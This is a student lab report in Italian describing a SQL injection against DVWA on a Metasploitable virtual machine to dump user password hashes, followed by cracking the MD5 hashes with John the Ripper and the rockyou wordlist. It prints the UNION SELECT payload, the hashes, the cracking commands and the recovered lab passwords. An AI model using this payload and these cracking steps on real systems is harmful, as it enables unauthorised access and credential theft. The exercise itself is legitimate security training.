

Report: Password Cracking

Introduzione

In questa esercitazione, ho eseguito un attacco SQL injection per ottenere gli hash delle password degli utenti da un database vulnerabile. Successivamente, ho utilizzato John the Ripper (JtR) per craccare gli hash delle password MD5 ottenuti. L'obiettivo era comprendere meglio le tecniche di SQL injection e password cracking, utilizzando gli strumenti disponibili su una macchina virtuale Kali Linux e una macchina Metasploitable.

Passaggi dell'Esercitazione

Passo 1: Eseguire l'SQL Injection

1. Accedi alla DVWA su Metasploitable

- Ho aperto un browser su Kali Linux e ho navigato all'indirizzo **http://192.168.1.101/dvwa**.
- Ho effettuato il login con le credenziali predefinite: **admin** come username e **password** come password.

2. Imposta il livello di sicurezza a 'Low'

- Sono andato alla sezione "DVWA Security" nel menu laterale.
- Ho impostato il livello di sicurezza su 'Low' e ho salvato le modifiche.

3. Esegui l'attacco SQL Injection

- Sono andato alla sezione "SQL Injection" dal menu laterale.
- Nel campo "User ID" ho inserito il seguente payload per eseguire l'SQL injection:

sql

Copia codice

```
1' UNION SELECT null, user, password FROM users #
```

- Ho premuto "Submit".

4. Copia gli hash delle password

- Ho visto una tabella con gli utenti e gli hash delle password. Ho copiato gli hash delle password per il passo successivo.

Passo 2: Creare il file con gli hash delle password

1. Apri il terminale su Kali Linux

- Ho aperto il terminale su Kali Linux.

2. Crea un file chiamato hashes.txt e inserisci gli hash

- Ho eseguito il comando per creare e modificare il file **hashes.txt**:

bash

Copia codice

```
nano ~/Desktop/hashes.txt
```

- Ho copiato e incollato gli hash ottenuti dall'SQL injection nel file **hashes.txt**:

```
plaintext
```

Copia codice

```
5f4dcc3b5aa765d61d8327deb882cf99 e99a18c428cb38d5f260853678922e03  
8d3533d75ae2c3966d7e0d4fcc69216b 0d107d09f5bbe40cade3de5c71e9e9b7  
5f4dcc3b5aa765d61d8327deb882cf99
```

3. Salva e chiudi il file

- Per salvare e chiudere il file in **nano**, ho premuto **CTRL + O** per salvare, poi **Enter**, e infine **CTRL + X** per uscire dall'editor.

Passo 3: Cracking degli hash con John the Ripper (JtR)

1. Assicurati che John the Ripper sia installato

- Ho verificato che John the Ripper fosse installato eseguendo:

```
bash
```

Copia codice

```
john --version
```

- Se non fosse stato installato, avrei potuto installarlo con:

```
bash
```

Copia codice

```
sudo apt-get update sudo apt-get install john
```

2. Esegui John the Ripper per il cracking degli hash

- Ho usato il seguente comando per eseguire John the Ripper utilizzando la wordlist **rockyou.txt**:

```
bash
```

Copia codice

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt ~/Desktop/hashes.txt
```

3. Attendi che il processo di cracking finisca

- John the Ripper ha iniziato il processo di cracking utilizzando la wordlist specificata. Questo può richiedere del tempo a seconda della complessità delle password e delle risorse del sistema.

Passo 4: Verificare le password craccate

1. Mostra le password craccate

- Una volta completato il processo di cracking, ho visualizzato tutte le password craccate utilizzando il seguente comando:

bash

Copia codice

```
john --show --format=raw-md5 ~/Desktop/hashe.txt
```

2. Interpretazione dei risultati

- Ho ottenuto il seguente output:

plaintext

Copia codice

```
password :password abc123 :abc123 charley :charley letmein :letmein password :password 5  
password hashes cracked, 0 left
```

Risultati

Le password craccate dagli hash MD5 sono le seguenti:

- **admin: password**
- **gordonb: abc123**
- **1337: charley**
- **pablo: letmein**
- **smithy: password**

Conclusione

Questa esercitazione mi ha permesso di applicare le tecniche di SQL injection per estrarre gli hash delle password e di utilizzare John the Ripper per craccare questi hash. Questo processo è cruciale per comprendere come gli attaccanti possono sfruttare le vulnerabilità nei sistemi per ottenere accesso non autorizzato. È importante implementare misure di sicurezza adeguate per proteggere i sistemi da tali attacchi.

Screenshot



